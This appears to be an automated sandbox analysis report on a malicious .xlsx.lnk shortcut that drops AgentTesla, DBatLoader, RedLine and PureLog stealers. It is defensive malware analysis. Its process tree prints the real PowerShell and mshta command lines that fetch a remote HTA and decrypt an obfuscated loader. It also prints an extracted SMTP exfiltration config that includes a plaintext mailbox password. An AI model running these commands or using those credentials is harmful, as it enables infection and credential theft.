Edit tour

Windows Analysis Report
FT. 40FE CNY .xlsx.lnk

Overview

General Information

Sample name:	FT. 40FE CNY .xlsx.lnk
Analysis ID:	1430751
MD5:	82fde340f187a517e0feced1d4972363
SHA1:	07740ba4e30a1dbc830451a0d05130ba1af28be9
SHA256:	e900f16dc064f78f6d81fda1dc52a17116d4bb578e6ef528e2f04b3e46b434a3
Tags:	lnk
Infos:

Detection

AgentTesla, DBatLoader, PureLog Stealer, RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Windows shortcut file (LNK) starts blacklisted processes

Yara detected AgentTesla

Yara detected DBatLoader

Yara detected PureLog Stealer

Yara detected RedLine Stealer

.NET source code contains method to dynamically call methods (often used by packers)

Allocates memory in foreign processes

Drops PE files with a suspicious file extension

Found URL in windows shortcut file (LNK)

Found suspicious powershell code related to unpacking or dynamic code loading

Installs a global keyboard hook

Machine Learning detection for dropped file

Machine Learning detection for sample

Powershell drops PE file

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sample uses process hollowing technique

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: Execution from Suspicious Folder

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious Program Location with Network Connections

Suspicious powershell command line found

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Windows shortcut file (LNK) contains suspicious command line arguments

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains functionality to call native functions

Contains functionality to check if a connection to the internet is available

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to detect virtual machines (SLDT)

Contains functionality to dynamically determine API calls

Contains functionality to launch a process as a different user

Contains functionality to query locales information (e.g. system language)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains more sections than normal

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Queries disk information (often used to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for the Microsoft Outlook file path

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Gzip Archive Decode Via PowerShell

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Suspicious Outbound SMTP Connections

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

powershell.exe (PID: 5632 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" .(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e').('PSChildName')https://www.sessosesso.it/assets/aw/yt.hta MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4204 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mshta.exe (PID: 7260 cmdline: "C:\Windows\system32\mshta.exe" https://www.sessosesso.it/assets/aw/yt.hta MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

powershell.exe (PID: 7688 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $OsFNkdw = 'AAAAAAAAAAAAAAAAAAAAAOeGa50V5wUO7zHydkcFZbJINq4P3H3RMsqOZX56v9Ct1bZUtRZkWxrChczJINV9leAt1ry1WLWkiFuSzfzQFE/yWmqaDZXsneytUPY+5le4m5eM4W+YWzERSnn/urcy8+ZTG58q1h/+BzdOb3w2O1z7QWzthSNzGxOWWNyV7TmYXZCKVR/W4Wq5ilvQCut+dsc1oHeaxo3nDd5I7/VZnRBIlxsN6HcNAACtlxfRiNFMSkDcN8+7W2lqhnFd5fXX+lgvrRG0ld6mdkV9WDBX6QjfiDRmhCmcLWUj1Bf5MNMwFNO28V0dG8tS2l8mIOdvR6aZF2v7aj+0KYrMlbdDhYWFi7OKVRA/3XZLlb5bbQDQE0oOT0JAi3+7gTkWesgJWCHgEueWTWqAMCB6A7qRzrsbpayqU/WAl9/nKC9cB9JhUjr2ITV9Ek3kErAD+eAPojoNd7bQuKjVE9tLoDwyPKo7YLWXTQF8wgZm0Ja3MfKMwkGLjtfBjT7ucygj4kLX/Zk01swB2YhhmuTYGe58LHZYGFngyyCQTKG4k9tN5i5bStEsFZehOTKeivaD+CKVo0hL0r5uz5GQB2ew8dGCUwkPmeXZvkk4B1gaPU3SmBdkVfrvuhGsjc5t6HhSZTvvp6Jz9v2fJj6ahm37dhgqwqsOIhz9dfUsra5c/+Avs0Ho38MGy4FjkP6OU6wM3P9BykwtvTRUlAfl604CotxxEOc6gE6TRnaarDiD6zmwY1sYkKEtTlG2JS0b7n2FWA1GsA==';$JIfveZK = 'cFRkUGZlWWl4R2ZHdlp1WlRocFlZR3RFVUtmamhETUc=';$UGIWRBAh = New-Object 'System.Security.Cryptography.AesManaged';$UGIWRBAh.Mode = [System.Security.Cryptography.CipherMode]::ECB;$UGIWRBAh.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$UGIWRBAh.BlockSize = 128;$UGIWRBAh.KeySize = 256;$UGIWRBAh.Key = [System.Convert]::FromBase64String($JIfveZK);$VpSlE = [System.Convert]::FromBase64String($OsFNkdw);$uBmStTPL = $VpSlE[0..15];$UGIWRBAh.IV = $uBmStTPL;$cLYZAvcnc = $UGIWRBAh.CreateDecryptor();$eVtPpVFwq = $cLYZAvcnc.TransformFinalBlock($VpSlE, 16, $VpSlE.Length - 16);$UGIWRBAh.Dispose();$DaRjcu = New-Object System.IO.MemoryStream( , $eVtPpVFwq );$wDjFzJY = New-Object System.IO.MemoryStream;$MtMSBjEhy = New-Object System.IO.Compression.GzipStream $DaRjcu, ([IO.Compression.CompressionMode]::Decompress);$MtMSBjEhy.CopyTo( $wDjFzJY );$MtMSBjEhy.Close();$DaRjcu.Close();[byte[]] $dVtmfGSE = $wDjFzJY.ToArray();$ghWDGW = [System.Text.Encoding]::UTF8.GetString($dVtmfGSE);$ghWDGW | powershell - MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7800 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" - MD5: 04029E121A0CFA5991749937DD22A1D9)

uc.exe (PID: 8080 cmdline: "C:\Users\user\AppData\Roaming\uc.exe" MD5: E6AC6CA27AA2D60DC59A21AF1FFDB086)

cmd.exe (PID: 5360 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\UcvuiswbO.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

extrac32.exe (PID: 1460 cmdline: C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\user\AppData\Roaming\uc.exe C:\\Users\\Public\\Libraries\\Ucvuiswb.PIF MD5: 9472AAB6390E4F1431BAA912FCFF9707)

bwsiuvcU.pif (PID: 6340 cmdline: C:\Users\Public\Libraries\bwsiuvcU.pif MD5: C116D3604CEAFE7057D77FF27552C215)

svchost.exe (PID: 7612 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

Ucvuiswb.PIF (PID: 1916 cmdline: "C:\Users\Public\Libraries\Ucvuiswb.PIF" MD5: E6AC6CA27AA2D60DC59A21AF1FFDB086)

bwsiuvcU.pif (PID: 2196 cmdline: C:\Users\Public\Libraries\bwsiuvcU.pif MD5: C116D3604CEAFE7057D77FF27552C215)

Ucvuiswb.PIF (PID: 2236 cmdline: "C:\Users\Public\Libraries\Ucvuiswb.PIF" MD5: E6AC6CA27AA2D60DC59A21AF1FFDB086)

bwsiuvcU.pif (PID: 2324 cmdline: C:\Users\Public\Libraries\bwsiuvcU.pif MD5: C116D3604CEAFE7057D77FF27552C215)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Name	Description	Attribution	Blogpost URLs	Link
DBatLoader	This Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it.	No Attribution	https://blog.vincss.net/2020/09/re016-malware-analysis-modiloader-eng.html https://blog.vincss.net/re016-malware-analysis-modiloader/ https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4 https://isc.sans.edu/diary/Malspam+pushes+ModiLoader+DBatLoader+infection+for+Remcos+RAT/29896 https://kienmanowar.wordpress.com/2024/04/09/quicknote-phishing-email-distributes-warzone-rat-via-dbatloader/	https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Host": "mail.irmaklarpaslanmaz.com.trB", "Username": "muhasebe@irmaklarpaslanmaz.com.tr", "Password": "MH5473588PmZ&"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\Public\Libraries\UcvuiswbO.bat	MALWARE_BAT_KoadicBAT	Koadic post-exploitation framework BAT payload	ditekSHen	0x2:$s1: &@cls&@set 0x5b:$s2: :~41,1%% 0x67:$s2: :~47,1%% 0x73:$s2: :~6,1%% 0x7e:$s2: :~53,1%% 0x8a:$s2: :~1,1% 0x9b:$s2: :~10,1%% 0xa7:$s2: :~39,1%% 0xb3:$s2: :~16,1%% 0xbf:$s2: :~13,1%% 0xcb:$s2: :~25,1%% 0xd7:$s2: :~53,1%% 0xe3:$s2: :~42,1%% 0xef:$s2: :~22,1%% 0xfb:$s2: :~18,1%% 0x107:$s2: :~48,1%% 0x113:$s2: :~51,1%% 0x11f:$s2: :~2,1%% 0x12a:$s2: :~61,1%% 0x136:$s2: :~9,1%% 0x141:$s2: :~19,1%%

Memory Dumps

Source	Rule	Description	Author	Strings
0000001A.00000002.1728089924.0000000002831000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000017.00000002.1639938993.00000000004A0000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000017.00000002.1680345757.000000003DA95000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000017.00000002.1682459055.00000000409C0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000013.00000002.1499010628.0000000002385000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000019.00000001.1624046151.0000000000400000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000019.00000001.1624046151.0000000000400000.00000040.00000001.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 EF 88 44 24 2B 88 44 24 2F B0 74 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
00000019.00000002.1788431061.0000000025FC1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000017.00000002.1680679015.000000003DE32000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000019.00000002.1787983024.0000000025D95000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000001B.00000002.2554879629.000000003DD81000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000019.00000002.1732584170.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000019.00000002.1732584170.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 EF 88 44 24 2B 88 44 24 2F B0 74 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
00000013.00000003.1494437975.000000007EB10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001B.00000002.2555827704.0000000040350000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000019.00000002.1791650361.00000000284A0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000017.00000002.1639938993.0000000000450000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000013.00000003.1438376010.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0000001B.00000002.2556241672.00000000409B0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000017.00000002.1680679015.000000003DDE1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000017.00000002.1680679015.000000003DDE1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000017.00000002.1680679015.000000003DE5C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000019.00000002.1732584170.00000000004A0000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001B.00000003.1719620200.000000003BD8F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000019.00000002.1788431061.0000000025FEB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000019.00000002.1788431061.0000000025F71000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000019.00000002.1788431061.0000000025F71000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0000001B.00000001.1707928386.0000000000450000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001B.00000002.2524457336.00000000004A0000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000018.00000002.1636496572.00000000028A1000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000013.00000002.1519434101.000000007EB60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001B.00000002.2524457336.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001B.00000002.2524457336.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 EF 88 44 24 2B 88 44 24 2F B0 74 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
00000017.00000001.1494452738.0000000000450000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001B.00000002.2524457336.0000000000450000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000017.00000001.1494452738.0000000000400000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000017.00000001.1494452738.0000000000400000.00000040.00000001.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 EF 88 44 24 2B 88 44 24 2F B0 74 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
00000017.00000003.1516343993.000000003BDC9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000019.00000001.1624046151.0000000000450000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000019.00000001.1624046151.00000000004A0000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001B.00000002.2554498447.000000003DA65000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000017.00000002.1681909755.0000000040260000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000019.00000003.1634916828.0000000023FF4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000017.00000001.1494452738.00000000004A0000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001B.00000001.1707928386.0000000000400000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001B.00000001.1707928386.0000000000400000.00000040.00000001.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 EF 88 44 24 2B 88 44 24 2F B0 74 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
00000017.00000002.1639938993.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000017.00000002.1639938993.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 EF 88 44 24 2B 88 44 24 2F B0 74 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
00000017.00000002.1681582310.000000003EDE1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000001B.00000002.2554879629.000000003DDAB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000001B.00000001.1707928386.00000000004A0000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001B.00000002.2555544877.000000003ED31000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000019.00000002.1792368001.0000000028C40000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000019.00000002.1732584170.0000000000450000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000019.00000002.1790805820.0000000026F71000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000001B.00000002.2554879629.000000003DD31000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001B.00000002.2554879629.000000003DD31000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: powershell.exe PID: 7688	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x3c6:$b1: ::WriteAllBytes( 0x1a66a:$b1: ::WriteAllBytes( 0x1aba1:$b1: ::WriteAllBytes( 0x378de:$b1: ::WriteAllBytes( 0x1c462d:$b1: ::WriteAllBytes( 0x20d75d:$b1: ::WriteAllBytes( 0x22bc09:$b1: ::WriteAllBytes( 0x531dd:$b2: ::FromBase64String( 0x53211:$b2: ::FromBase64String( 0x538f8:$b2: ::FromBase64String( 0x5392c:$b2: ::FromBase64String( 0xf7ee9:$b2: ::FromBase64String( 0xf7f1d:$b2: ::FromBase64String( 0xf8604:$b2: ::FromBase64String( 0xf8638:$b2: ::FromBase64String( 0x176cf9:$b2: ::FromBase64String( 0x176d2e:$b2: ::FromBase64String( 0x17743b:$b2: ::FromBase64String( 0x177471:$b2: ::FromBase64String( 0x177dbc:$b2: ::FromBase64String( 0x177df2:$b2: ::FromBase64String(
Process Memory Space: powershell.exe PID: 7800	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x13c889:$b1: ::WriteAllBytes( 0x22baf:$s1: -join 0x2fc84:$s1: -join 0x33056:$s1: -join 0x33708:$s1: -join 0x351f9:$s1: -join 0x373ff:$s1: -join 0x37c26:$s1: -join 0x38496:$s1: -join 0x38bd1:$s1: -join 0x38c03:$s1: -join 0x38c4b:$s1: -join 0x38c6a:$s1: -join 0x394ba:$s1: -join 0x39636:$s1: -join 0x396ae:$s1: -join 0x39741:$s1: -join 0x399a7:$s1: -join 0x3bb3d:$s1: -join 0x4a587:$s1: -join 0x5fccf:$s1: -join
Process Memory Space: bwsiuvcU.pif PID: 6340	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: bwsiuvcU.pif PID: 6340	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: bwsiuvcU.pif PID: 2196	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
